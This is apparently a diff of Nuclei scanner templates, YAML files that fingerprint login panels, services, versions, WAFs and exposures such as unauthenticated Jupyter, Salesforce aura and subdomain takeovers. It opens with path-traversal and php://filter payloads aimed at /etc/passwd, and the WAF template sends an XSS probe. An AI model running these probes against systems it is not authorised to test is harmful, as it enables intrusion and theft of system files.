- "/?q=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&s=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&search=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&id=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&action=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&keyword=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&query=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&keywords=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&url=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&view=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&cat=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&name=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&key=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&p=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd"
- "/?q=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&s=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&search=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&id=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&action=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&keyword=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&query=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&keywords=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&url=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&view=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&cat=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&name=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&key=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&p=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"
matchers:
- type: regex
words:
- "root:[x*]:0:0:"
part: body
+1 -1
View File
@@ -15,4 +15,4 @@ requests:
matchers:
- type: word
words:
- "'><injectable>"
- "\"><injectable>"
+16
View File
@@ -0,0 +1,16 @@
id: aims-password-mgmt-client
info:
name: Aims Password Management Client Detect
author: iamthefrogy
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/aims/ps/"
matchers:
- type: word
words:
- "Avatier Corporation"
+4
View File
@@ -9,7 +9,11 @@ requests:
- method: GET
path:
- "{{BaseURL}}/global-protect/login.esp"
- "{{BaseURL}}/sslmgr"
matchers:
- type: word
words:
- "<title>GlobalProtect Portal</TITLE>"
- "<msg>Invalid parameters</msg>"
condition: or
+20
View File
@@ -0,0 +1,20 @@
id: go-anywhere-client
info:
name: GoAnywhere client login detection
author: iamthefrogy
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/webclient/Login.xhtml"
redirects: true
max-redirects: 2
matchers:
- type: word
words:
- "Powered by GoAnywhere"
- "GoAnywhere.com"
condition: or
+15
View File
@@ -0,0 +1,15 @@
id: manage-engine-admanager-panel
info:
name: Manage Engine ADManager Panel
author: PR3R00T
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/authorization.do"
matchers:
- type: word
words:
- "<title>ManageEngine - ADManager Plus</title>"
+17
View File
@@ -0,0 +1,17 @@
id: network-camera-detect
info:
name: Various Online Devices Detection (Network Camera)
author: iamthefrogy
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/CgiStart?page=Single"
redirects: true
max-redirects: 2
matchers:
- type: word
words:
- <TITLE>Network Camera</TITLE>
+16
View File
@@ -0,0 +1,16 @@
id: sonicwall-management-panel
info:
name: SonicWall Management Panel
author: PR3R00T
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/auth.html"
matchers:
- type: word
words:
- "<title>SonicWall - Authentication</title>"
- "SonicWall Administrator"
+15
View File
@@ -0,0 +1,15 @@
id: sonicwall-sslvpn-panel
info:
name: SonicWall Virtual Office SSLVPN Panel
author: PR3R00T
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/welcome"
matchers:
- type: word
words:
- "<title>Virtual Office</title>"
+9 -1
View File
@@ -36,10 +36,18 @@ requests:
- "{{BaseURL}}/api/_swagger_/"
- "{{BaseURL}}/api/spec/swagger.json"
- "{{BaseURL}}/api/swagger/ui/index"
- "{{BaseURL}}/api/api/schema/"
- "{{BaseURL}}/__swagger__/"
- "{{BaseURL}}/_swagger_/"
- "{{BaseURL}}/swagger-resources/restservices/v2/api-docs"
matchers-condition: and
matchers:
- type: word
words:
- "\"swagger\":"
- "Swagger UI"
condition: or
- type: status
status:
- 200
+20
View File
@@ -0,0 +1,20 @@
id: virtual-ema-detect
info:
name: Virtual EMS Panel Detection
author: iamthefrogy
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/virtualems/Login.aspx"
- "{{BaseURL}}/VirtualEms/Login.aspx"
matchers:
- type: word
words:
- "Login"
- "Browse"
- "Welcome Guest"
condition: and
+19
View File
@@ -0,0 +1,19 @@
id: workspace-one-uem
# Reference:
# https://twitter.com/Jhaddix/status/1295861505963909120
info:
name: Workspace ONE UEM AirWatch Login Page
author: gevakun
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/AirWatch/Login"
matchers:
- type: word
words:
- "About VMware AirWatch"
part: body
@@ -0,0 +1,23 @@
id: jupyter-ipython-unauth
info:
name: Jupyter ipython Unauth
author: pentest_swissky
severity: critical
description: Unauthenticated access to Jupyter instance
requests:
- method: GET
path:
- "{{BaseURL}}/ipython/tree"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- ipython/static/components
- ipython/kernelspecs
part: body
@@ -0,0 +1,25 @@
id: manage-engine-ad-search
info:
name: Manage Engine AD Search
author: PR3R00T
severity: high
description: Manage Engine AD Manager service can be configured to allow anonymous users to browse the AD list remotely.
requests:
- method: GET
path:
- "{{BaseURL}}/ADSearch.cc?methodToCall=search"
- "{{BaseURL}}:8443/ADSearch.cc?methodToCall=search"
- "{{BaseURL}}:8080/ADSearch.cc?methodToCall=search"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "ManageEngine"
- "ADManager"
condition: and
@@ -0,0 +1,24 @@
id: salesforce-aura-misconfig
info:
name: Detect the exposure of Salesforce Lightning aura API
author: aaron_costello (@ConspiracyProof)
severity: medium
# Reference:-
# https://www.enumerated.de/index/salesforce
# Severity of this misconfiguration depends of disclosed information.
requests:
- method: POST
path:
- "{{BaseURL}}/aura"
- "{{BaseURL}}/s/sfsites/aura"
- "{{BaseURL}}/sfsites/aura"
body: "{}"
matchers:
- type: word
words:
- 'aura:invalidSession'
part: body
@@ -0,0 +1,22 @@
id: sidekiq-dashboard
info:
name: sidekiq-dashboard
author: dhiyaneshDK
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}/sidekiq"
matchers-condition: and
matchers:
- type: word
words:
- <title>Sidekiq</title>
part: body
- type: status
status:
- 200
+10 -8
View File
@@ -2,7 +2,7 @@ id: detect-all-takeovers
info:
name: Subdomain Takeover Detection
author: "melbadry9 & pxmme1337"
author: "melbadry9 & pxmme1337 & geeknik"
severity: high
# Update this list with new takeovers matchers
@@ -10,7 +10,7 @@ info:
# https://github.com/EdOverflow/can-i-take-over-xyz
# You need to claim the subdomain / CNAME of the subdomain to confirm the takeover.
# Do not report subdomain takeover issues only based on detection.
# Total number of services #71
# Total number of services #72
requests:
- method: GET
@@ -290,11 +290,6 @@ requests:
words:
- Oops - We didn't find your site.
- type: word
name: thinkific
words:
- You may have mistyped the address or the page may have moved.
- type: word
name: tictail
words:
@@ -392,4 +387,11 @@ requests:
- "Not Found"
- "server: Netlify"
condition: and
part: all
part: all
- type: word
name: vercel
words:
- The deployment could not be found on Vercel.
- DEPLOYMENT_NOT_FOUND
condition: and
+27
View File
@@ -0,0 +1,27 @@
id: apache-version-detect
info:
name: Apache Version
author: philippedelteil
description: Some Apache servers have the version on the response header. The OpenSSL version can be also obtained
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: regex
part: header
regex:
- "Apache+"
- type: status
status:
- 200
extractors:
- type: kval
part: header
kval:
- Server
+16
View File
@@ -92,3 +92,19 @@ requests:
name: mobileiron
dsl:
- "len(body)==1734 && status_code==200 && (\"8a185957a6b153314bab3668b57f18f4\" == md5(body))"
- type: dsl
name: oracle
dsl:
- "len(body)==1150 && status_code==200 && (\"421e176ae0837bcc6b879ef55adbc897\" == md5(body))"
- type: dsl
name: hitachi
dsl:
- "len(body)==894 && status_code==200 && (\"41e9c43dc5e994ca7a40f4f92b50d01d\" == md5(body))"
- type: dsl
name: fortinet
dsl:
- "len(body)==318 && status_code==200 && (\"e462005902f81094ab3de44e4381de19\" == md5(body))"
- type: dsl
name: meinberg
dsl:
- "len(body)==1406 && status_code==200 && (\"4b2524b4f28eac7d0e872b0e1323c02d\" == md5(body))"
+17
View File
@@ -0,0 +1,17 @@
id: gstorage-detect
info:
name: Google Bucket detection
author: 0xTeles
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/"
matchers:
- type: word
words:
- x-goog-metageneration
- X-Goog-Metageneration
part: header
+45 -4
View File
@@ -2,7 +2,7 @@ id: graphql
info:
name: GraphQL API
author: NkxxkN
author: NkxxkN & ELSFA7110
severity: info
requests:
@@ -15,10 +15,51 @@ requests:
- "{{BaseURL}}/v1"
- "{{BaseURL}}/v2"
- "{{BaseURL}}/v3"
- "{{BaseURL}}/graphql-console"
- "{{BaseURL}}/query-laravel"
- "{{BaseURL}}/v3/subscriptions"
- "{{BaseURL}}/v3/graphql/schema.xml"
- "{{BaseURL}}/v3/graphql/schema.yaml"
- "{{BaseURL}}/v3/playground"
- "{{BaseURL}}/v3/graphql/schema.json"
- "{{BaseURL}}/graphql/schema.yaml"
- "{{BaseURL}}/graphql/schema.xml"
- "{{BaseURL}}/graphql/schema.json"
- "{{BaseURL}}/graphiql/finland"
- "{{BaseURL}}/graphiql.css"
- "{{BaseURL}}/graphql-devtools"
- "{{BaseURL}}/graphql/v1"
- "{{BaseURL}}/v1/graphql"
- "{{BaseURL}}/lol/graphql"
- "{{BaseURL}}/lol/graphql/v1"
- "{{BaseURL}}/api/graphql/v1"
- "{{BaseURL}}/portal-graphql"
- "{{BaseURL}}/graphql-playground"
- "{{BaseURL}}/laravel-graphql-playground"
- "{{BaseURL}}/query-explorer"
- "{{BaseURL}}/sphinx-graphiql"
- "{{BaseURL}}/express-graphql"
- "{{BaseURL}}/query"
- "{{BaseURL}}/HyperGraphQL"
- "{{BaseURL}}/graphql/graphql-playground"
- "{{BaseURL}}/graphql-playground-html"
- "{{BaseURL}}/graph_cms"
- "{{BaseURL}}/query-api"
- "{{BaseURL}}/api/cask/graphql-playground"
- "{{BaseURL}}/altair"
- "{{BaseURL}}/playground"
headers:
Content-Type: application/json
body: '{"query":"query IntrospectionQuery{__schema {queryType { name }}}"}'
matchers-condition: and
matchers:
- type: word
words:
- '{"data":{"__schema":{"queryType":'
- type: status
status:
- 200
- type: regex
regex:
- "__schema"
- "(Introspection|INTROSPECTION|introspection).*?"
- ".*?operation not found.*?"
+25
View File
@@ -0,0 +1,25 @@
id: kong-detect
info:
name: Detect Kong
author: geeknik
description: The Cloud-Native API Gateway - https://github.com/Kong/kong
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/"
matchers-condition: and
matchers:
- type: regex
part: header
regex:
- kong+
extractors:
- type: kval
part: header
kval:
- Server
+26
View File
@@ -0,0 +1,26 @@
id: apache-nifi-detect
info:
name: Apache NiFi detect
author: dwisiswant0
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/access/config"
- "{{BaseURL}}/controller/config"
- "{{BaseURL}}/controller/registry-clients"
- "{{BaseURL}}/counters"
- "{{BaseURL}}/flow/registries"
- "{{BaseURL}}/system-diagnostics"
matchers-condition: and
matchers:
- type: regex
regex:
- "supportsLogin"
- "disconnectedNodeAcknowledged"
- "(aggregate|node)Snapshots?"
- type: status
status:
- 200
+21
View File
@@ -0,0 +1,21 @@
id: oidc-detect
info:
name: Detect OpenID Connect provider
author: jarijaas
severity: info
description: Detects OpenID Connect providers. See https://en.wikipedia.org/wiki/OpenID_Connect
requests:
- method: GET
path:
- "{{BaseURL}}/.well-known/openid-configuration"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- issuer
- authorization_endpoint
condition: and
+23
View File
@@ -0,0 +1,23 @@
id: pi-hole-detect
info:
name: pi-hole detector
author: geeknik
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/admin/index.php"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Pi-hole"
- "Web Interface"
- "FTL"
part: body
condition: and
@@ -0,0 +1,29 @@
id: prometheus-exporter-detect
info:
name: Prometheus exporter detect
author: jarijaas
severity: info
description: Prometheus exporter detector
# See https://github.com/prometheus/prometheus/wiki/Default-port-allocations
requests:
- method: GET
path:
- "{{BaseURL}}/"
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
matchers-condition: and
matchers:
- type: word
words:
- Exporter # Exporters have "Exporter" in the page title (e.g, Node Exporter, Bind Exporter and so on)
- /metrics
condition: and
extractors: # Extract exporter name
- type: regex
part: body
name: exporter_name
group: 1
regex:
- "<title>(.*?)</title>"
+8 -5
View File
@@ -2611,11 +2611,6 @@ requests:
words:
- "Server: nginx"
part: header
- type: word
name: apache
words:
- "Server: Apache"
part: header
- type: word
name: php
@@ -2723,3 +2718,11 @@ requests:
- "Server: Mida eFramework"
condition: or
part: all
- type: word
name: SEEEMS-CMS
words:
- "SEEEMS.CMS"
- "SEEEMS.FRAMEWORK"
condition: or
part: body
+29
View File
@@ -0,0 +1,29 @@
id: tomcat-version-detect
info:
name: Detect Tomcat Version
author: philippedelteil
description: If an Tomcat instance is deployed on the target URL, when we send a request for
a non existent resource we receive a Tomcat error page with version.
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/something_not_existing_"
matchers-condition: and
matchers:
- type: word
words:
- "Apache Tomcat"
- type: status
status:
- 404
extractors:
- type: regex
part: body
name: version
group: 2
regex:
- '(<h3>)(.*?)(</h3>)'
+660
View File
@@ -0,0 +1,660 @@
id: waf-detect
info:
name: WAF Detection
author: dwisiswant0
severity: info
# Source:
# - https://github.com/Ekultek/WhatWaf
requests:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_=<script>alert(1)</script>
redirects: true
max-redirects: 2
matchers:
- type: regex
name: instart
regex:
- '(?i)instartrequestid'
part: all
- type: regex
name: perimx
regex:
- '(?i)access.to.this.page.has.been.denied.because.we.believe.you.are.using.automation.tool'
- '(?i)http(s)?://(www.)?perimeterx.\w+.whywasiblocked'
- '(?i)perimeterx'
- '(?i)(..)?client.perimeterx.*/[a-zA-Z]{8,15}/*.*.js'
condition: or
part: all
- type: regex
name: webknight
regex:
- '(?i)\bwebknight'
- '(?i)webknight'
condition: or
part: all
- type: regex
name: zscaler
regex:
- '(?i)zscaler(.\d+(.\d+)?)?'
- '(?i)zscaler'
condition: or
part: all
- type: regex
name: fortigate
regex:
- '(?i).>powered.by.fortinet<.'
- '(?i).>fortigate.ips.sensor<.'
- '(?i)fortigate'
- '(?i).fgd_icon'
- '(?i)\AFORTIWAFSID='
- '(?i)application.blocked.'
- '(?i).fortiGate.application.control'
- '(?i)(http(s)?)?://\w+.fortinet(.\w+:)?'
- '(?i)fortigate.hostname'
- '(?i)the.page.cannot.be.displayed..please.contact.[^@]+@[^@]+\.[^@]+.for.additional.information'
condition: or
part: all
- type: regex
name: teros
regex:
- '(?i)st8(id|.wa|.wf)?.?(\d+|\w+)?'
condition: or
part: all
- type: regex
name: stricthttp
regex:
- '(?i)the.request.was.rejected.because.the.url.contained.a.potentially.malicious.string'
condition: or
part: all
- type: regex
name: stricthttp
regex:
- '(?i)rejected.by.url.scan'
- '(?i)/rejected.by.url.scan'
condition: or
part: all
- type: regex
name: shadowd
regex:
- '(?i)<h\d>\d{3}.forbidden<.h\d>'
- '(?i)request.forbidden.by.administrative.rules.'
condition: or
part: all
- type: regex
name: bigip
regex:
- '(?i)\ATS\w{4,}='
- '(?i)bigipserver(.i)?|bigipserverinternal'
- '(?i)^TS[a-zA-Z0-9]{3,8}='
- '(?i)BigIP|BIG-IP|BIGIP'
- '(?i)bigipserver'
condition: or
part: all
- type: regex
name: edgecast
regex:
- '(?i)\Aecdf'
condition: or
part: all
- type: regex
name: radware
regex:
- '(?i).\bcloudwebsec.radware.com\b.'
- '(?i).>unauthorized.activity.has.been.detected<.'
- '(?i)with.the.following.case.number.in.its.subject:.\d+.'
condition: or
part: all
- type: regex
name: varnish
regex:
- '(?i)varnish'
- '(?i).>.?security.by.cachewall.?<.'
- '(?i)cachewall'
- '(?i).>access.is.blocked.according.to.our.site.security.policy.<+'
condition: or
part: all
- type: regex
name: infosafe
regex:
- '(?i)infosafe'
- '(?i)by.(http(s)?(.//)?)?7i24.(com|net)'
- '(?i)infosafe.\d.\d'
- '(?i)var.infosafekey='
condition: or
part: all
- type: regex
name: aliyundun
regex:
- '(?i)error(s)?.aliyun(dun)?.(com|net)'
- '(?i)http(s)?://(www.)?aliyun.(com|net)'
condition: or
part: all
- type: regex
name: ats
regex:
- '(?i)(\()?apachetrafficserver((\/)?\d+(.\d+(.\d+)?)?)'
- '(?i)ats((\/)?(\d+(.\d+(.\d+)?)?))?'
condition: or
part: all
- type: regex
name: malcare
regex:
- '(?i)malcare'
- '(?i).>login.protection<.+.><.+>powered.by<.+.>(<.+.>)?(.?malcare.-.pro|blogvault)?'
- '(?i).>firewall<.+.><.+>powered.by<.+.>(<.+.>)?(.?malcare.-.pro|blogvault)?'
condition: or
part: all
- type: regex
name: wts
regex:
- '(?i)(<title>)?wts.wa(f)?(\w+(\w+(\w+)?)?)?'
part: all
- type: regex
name: dw
regex:
- '(?i)dw.inj.check'
part: all
- type: regex
name: denyall
regex:
- '(?i)\Acondition.intercepted'
- '(?i)\Asessioncookie='
condition: or
part: all
- type: regex
name: yunsuo
regex:
- '(?i)<img.class=.yunsuologo.'
- '(?i)yunsuo.session'
condition: or
part: all
- type: regex
name: litespeed
regex:
- '(?i)litespeed.web.server'
part: all
- type: regex
name: cloudfront
regex:
- '(?i)[a-zA-Z0-9]{,60}.cloudfront.net'
- '(?i)cloudfront'
- '(?i)x.amz.cf.id|nguardx'
condition: or
part: all
- type: regex
name: anyu
regex:
- '(?i)sorry.{1,2}your.access.has.been.intercept(ed)?.by.anyu'
- '(?i)anyu'
- '(?i)anyu-?.the.green.channel'
condition: or
part: all
- type: regex
name: googlewebservices
regex:
- '(?i)your.client.has.issued.a.malformed.or.illegal.request'
- '(?i)our.systems.have.detected.unusual.traffic'
- '(?i)block(ed)?.by.g.cloud.security.policy.+'
condition: or
part: all
- type: regex
name: didiyun
regex:
- '(?i)(http(s)?://)(sec-waf.|www.)?didi(static|yun)?.com(/static/cloudwafstatic)?'
- '(?i)didiyun'
condition: or
part: all
- type: regex
name: blockdos
regex:
- '(?i)blockdos\.net'
part: all
- type: regex
name: codeigniter
regex:
- '(?i)the.uri.you.submitted.has.disallowed.characters'
part: all
- type: regex
name: stingray
regex:
- '(?i)\AX-Mapping-'
part: all
- type: regex
name: west263
regex:
- '(?i)wt\d*cdn'
part: all
- type: regex
name: aws
regex:
- '(?i)<RequestId>[0-9a-zA-Z]{16,25}<.RequestId>'
- '(?i)<Error><Code>AccessDenied<.Code>'
- '(?i)x.amz.id.\d+'
- '(?i)x.amz.request.id'
condition: or
part: all
- type: regex
name: yundun
regex:
- '(?i)YUNDUN'
- '(?i)^yd.cookie='
- '(?i)http(s)?.//(www\.)?(\w+.)?yundun(.com)?'
- '(?i)<title>.403.forbidden:.access.is.denied.{0,2}<.{0,2}title>'
condition: or
part: all
- type: regex
name: barracuda
regex:
- '(?i)\Abarra.counter.session=?'
- '(?i)(\A|\b)?barracuda.'
- '(?i)barracuda.networks.{1,2}inc'
condition: or
part: all
- type: regex
name: dodenterpriseprotection
regex:
- '(?i)dod.enterprise.level.protection.system'
part: all
- type: regex
name: secupress
regex:
- '(?i)<h\d*>secupress<.'
- '(?i)block.id.{1,2}bad.url.contents.<.'
condition: or
part: all
- type: regex
name: aesecure
regex:
- '(?i)aesecure.denied.png'
part: all
- type: regex
name: incapsula
regex:
- '(?i)incap_ses|visid_incap'
- '(?i)incapsula'
- '(?i)incapsula.incident.id'
condition: or
part: all
- type: regex
name: nexusguard
regex:
- '(?i)nexus.?guard'
- '(?i)((http(s)?://)?speresources.)?nexusguard.com.wafpage'
condition: or
part: all
- type: regex
name: cloudflare
regex:
- '(?i)cloudflare.ray.id.|var.cloudflare.'
- '(?i)cloudflare.nginx'
- '(?i)..cfduid=([a-z0-9]{43})?'
- '(?i)cf[-|_]ray(..)?([0-9a-f]{16})?[-|_]?(dfw|iad)?'
- '(?i).>attention.required!.\|.cloudflare<.+'
- '(?i)http(s)?.//report.(uri.)?cloudflare.com(/cdn.cgi(.beacon/expect.ct)?)?'
- '(?i)ray.id'
- '(?i)__cfduid'
condition: or
part: all
- type: regex
name: akamai
regex:
- '(?i).>access.denied<.'
- '(?i)akamaighost'
- '(?i)ak.bmsc.'
condition: or
part: all
- type: regex
name: webseal
regex:
- '(?i)webseal.error.message.template'
- '(?i)webseal.server.received.an.invalid.http.request'
condition: or
part: all
- type: regex
name: dotdefender
regex:
- '(?i)dotdefender.blocked.your.request'
part: all
- type: regex
name: pk
regex:
- '(?i).>pkSecurityModule\W..\WSecurity.Alert<.'
- '(?i).http(s)?.//([w]{3})?.kitnetwork.\w'
- '(?i).>A.safety.critical.request.was.discovered.and.blocked.<.'
condition: or
part: all
- type: regex
name: expressionengine
regex:
- '(?i).>error.-.expressionengine<.'
- '(?i).>:.the.uri.you.submitted.has.disallowed.characters.<.'
- '(?i)invalid.(get|post).data'
condition: or
part: all
- type: regex
name: comodo
regex:
- '(?i)protected.by.comodo.waf'
part: all
- type: regex
name: ciscoacexml
regex:
- '(?i)ace.xml.gateway'
part: all
- type: regex
name: barikode
regex:
- '(?i).>barikode<.'
- '(?i)<h\d{1}>forbidden.access<.h\d{1}>'
condition: or
part: all
- type: regex
name: watchguard
regex:
- '(?i)(request.denied.by.)?watchguard.firewall'
- '(?i)watchguard(.technologies(.inc)?)?'
condition: or
part: all
- type: regex
name: binarysec
regex:
- '(?i)x.binarysec.via'
- '(?i)x.binarysec.nocache'
- '(?i)binarysec'
condition: or
part: all
- type: regex
name: bekchy
regex:
- '(?i)bekchy.(-.)?access.denied'
- '(?i)(http(s)?://)(www.)?bekchy.com(/report)?'
condition: or
part: all
- type: regex
name: bitninja
regex:
- '(?i)bitninja'
- '(?i)security.check.by.bitninja'
- '(?i).>visitor.anti(\S)?robot.validation<.'
condition: or
part: all
- type: regex
name: apachegeneric
regex:
- '(?i)apache'
- '(?i).>you.don.t.have.permission.to.access+'
- '(?i)was.not.found.on.this.server'
- '(?i)<address>apache/([\d+{1,2}](.[\d+]{1,2}(.[\d+]{1,3})?)?)?'
- '(?i)<title>403 Forbidden</title>'
condition: or
part: all
- type: regex
name: greywizard
regex:
- '(?i)greywizard(.\d.\d(.\d)?)?'
- '(?i)grey.wizard.block'
- '(?i)(http(s)?.//)?(\w+.)?greywizard.com'
- '(?i)grey.wizard'
condition: or
part: all
- type: regex
name: configserver
regex:
- '(?i).>the.firewall.on.this.server.is.blocking.your.connection.<+'
part: all
- type: regex
name: viettel
regex:
- '(?i)<title>access.denied(...)?viettel.waf</title>'
- '(?i)viettel.waf.system'
- '(?i)(http(s).//)?cloudrity.com(.vn)?'
condition: or
part: all
- type: regex
name: safedog
regex:
- '(?i)(http(s)?)?(://)?(www|404|bbs|\w+)?.safedog.\w'
- '(?i)waf(.?\d+.?\d+)'
condition: or
part: all
- type: regex
name: baidu
regex:
- '(?i)yunjiasu.nginx'
part: all
- type: regex
name: alertlogic
regex:
- '(?i).>requested.url.cannot.be.found<.'
- '(?i)proceed.to.homepage'
- '(?i)back.to.previous.page'
- "(?i)we('re|.are)?sorry.{1,2}but.the.page.you.are.looking.for.cannot"
- '(?i)reference.id.?'
- '(?i)page.has.either.been.removed.{1,2}renamed'
condition: or
part: all
- type: regex
name: armor
regex:
- '(?i)blocked.by.website.protection.from.armour'
part: all
- type: regex
name: dosarrest
regex:
- '(?i)dosarrest'
- '(?i)x.dis.request.id'
condition: or
part: all
- type: regex
name: paloalto
regex:
- 'has.been.blocked.in.accordance.with.company.policy'
- '.>Virus.Spyware.Download.Blocked<.'
condition: or
part: all
- type: regex
name: aspgeneric
regex:
- '(?i)this.generic.403.error.means.that.the.authenticated'
- '(?i)request.could.not.be.understood'
- '(?i)<.+>a.potentially.dangerous.request(.querystring)?.+'
- '(?i)runtime.error'
- '(?i).>a.potentially.dangerous.request.path.value.was.detected.from.the.client+'
- '(?i)asp.net.sessionid'
- '(?i)errordocument.to.handle.the.request'
- '(?i)an.application.error.occurred.on.the.server'
- '(?i)error.log.record.number'
- '(?i)error.page.might.contain.sensitive.information'
- "(?i)<.+>server.error.in.'/'.application.+"
- '(?i)\basp.net\b'
condition: or
part: all
- type: regex
name: powerful
regex:
- '(?i)Powerful Firewall'
- '(?i)http(s)?...tiny.cc.powerful.firewall'
condition: or
part: all
- type: regex
name: uewaf
regex:
- '(?i)http(s)?.//ucloud'
- '(?i)uewaf(.deny.pages)'
condition: or
part: all
- type: regex
name: janusec
regex:
- '(?i)janusec'
- '(?i)(http(s)?\W+(www.)?)?janusec.(com|net|org)'
condition: or
part: all
- type: regex
name: siteguard
regex:
- '(?i)>Powered.by.SiteGuard.Lite<'
- '(?i)refuse.to.browse'
condition: or
part: all
- type: regex
name: sonicwall
regex:
- '(?i)This.request.is.blocked.by.the.SonicWALL'
- '(?i)Dell.SonicWALL'
- '(?i)\bDell\b'
- '(?i)Web.Site.Blocked.+\bnsa.banner'
- '(?i)SonicWALL'
- '(?i).>policy.this.site.is.blocked<.'
condition: or
part: all
- type: regex
name: jiasule
regex:
- '(?i)^jsl(_)?tracking'
- '(?i)(__)?jsluid(=)?'
- '(?i)notice.jiasule'
- '(?i)(static|www|dynamic).jiasule.(com|net)'
condition: or
part: all
- type: regex
name: nginxgeneric
regex:
- '(?i)nginx'
- '(?i)you.do(not|n.t)?.have.permission.to.access.this.document'
condition: or
part: all
- type: regex
name: stackpath
regex:
- '(?i)action.that.triggered.the.service.and.blocked'
- '(?i)<h2>sorry,.you.have.been.blocked.?<.h2>'
condition: or
part: all
- type: regex
name: sabre
regex:
- '(?i)[email protected]'
part: all
- type: regex
name: wordfence
regex:
- '(?i)generated.by.wordfence'
- '(?i)your.access.to.this.site.has.been.limited'
- '(?i).>wordfence<.'
condition: or
part: all
- type: regex
name: '360'
regex:
- '(?i).wzws.waf.cgi.'
- '(?i)wangzhan\.360\.cn'
- '(?i)qianxin.waf'
- '(?i)360wzws'
- '(?i)transfer.is.blocked'
condition: or
part: all
- type: regex
name: asm
regex:
- '(?i)the.requested.url.was.rejected..please.consult.with.your.administrator.'
condition: or
part: all
- type: regex
name: rsfirewall
regex:
- '(?i)com.rsfirewall.403.forbidden'
- '(?i)com.rsfirewall.event'
- '(?i)(\b)?rsfirewall(\b)?'
- '(?i)rsfirewall'
condition: or
part: all
- type: regex
name: sucuri
regex:
- '(?i)access.denied.-.sucuri.website.firewall'
- '(?i)sucuri.webSite.firewall.-.cloudProxy.-.access.denied'
- '(?i)questions\?.+cloudproxy@sucuri\.net'
- '(?i)http(s)?.\/\/(cdn|supportx.)?sucuri(.net|com)?'
condition: or
part: all
- type: regex
name: airlock
regex:
- '(?i)\Aal[.-]?(sess|lb)=?'
part: all
- type: regex
name: xuanwudun
regex:
- '(?i)class=.(db)?waf.?(-row.)?>'
part: all
- type: regex
name: chuangyu
regex:
- '(?i)(http(s)?.//(www.)?)?365cyd.(com|net)'
part: all
- type: regex
name: securesphere
regex:
- '(?i)<h2>error<.h2>'
- '(?i)<title>error<.title>'
- '(?i)<b>error<.b>'
- '(?i)<td.class="(errormessage|error)".height="[0-9]{1,3}".width="[0-9]{1,3}">'
- '(?i)the.incident.id.(is|number.is).'
- '(?i)page.cannot.be.displayed'
- '(?i)contact.support.for.additional.information'
condition: or
part: all
- type: regex
name: anquanbao
regex:
- '(?i).aqb_cc.error.'
part: all
- type: regex
name: modsecurity
regex:
- '(?i)ModSecurity|NYOB'
- '(?i)mod_security'
- '(?i)this.error.was.generated.by.mod.security'
- '(?i)web.server at'
- '(?i)page.you.are.(accessing|trying)?.(to|is)?.(access)?.(is|to)?.(restricted)?'
- '(?i)blocked.by.mod.security'
condition: or
part: all
- type: regex
name: modsecurityowasp
regex:
- '(?i)not.acceptable'
- '(?i)additionally\S.a.406.not.acceptable'
condition: or
part: all
- type: regex
name: squid
regex:
- '(?i)squid'
- '(?i)Access control configuration prevents'
- '(?i)X.Squid.Error'
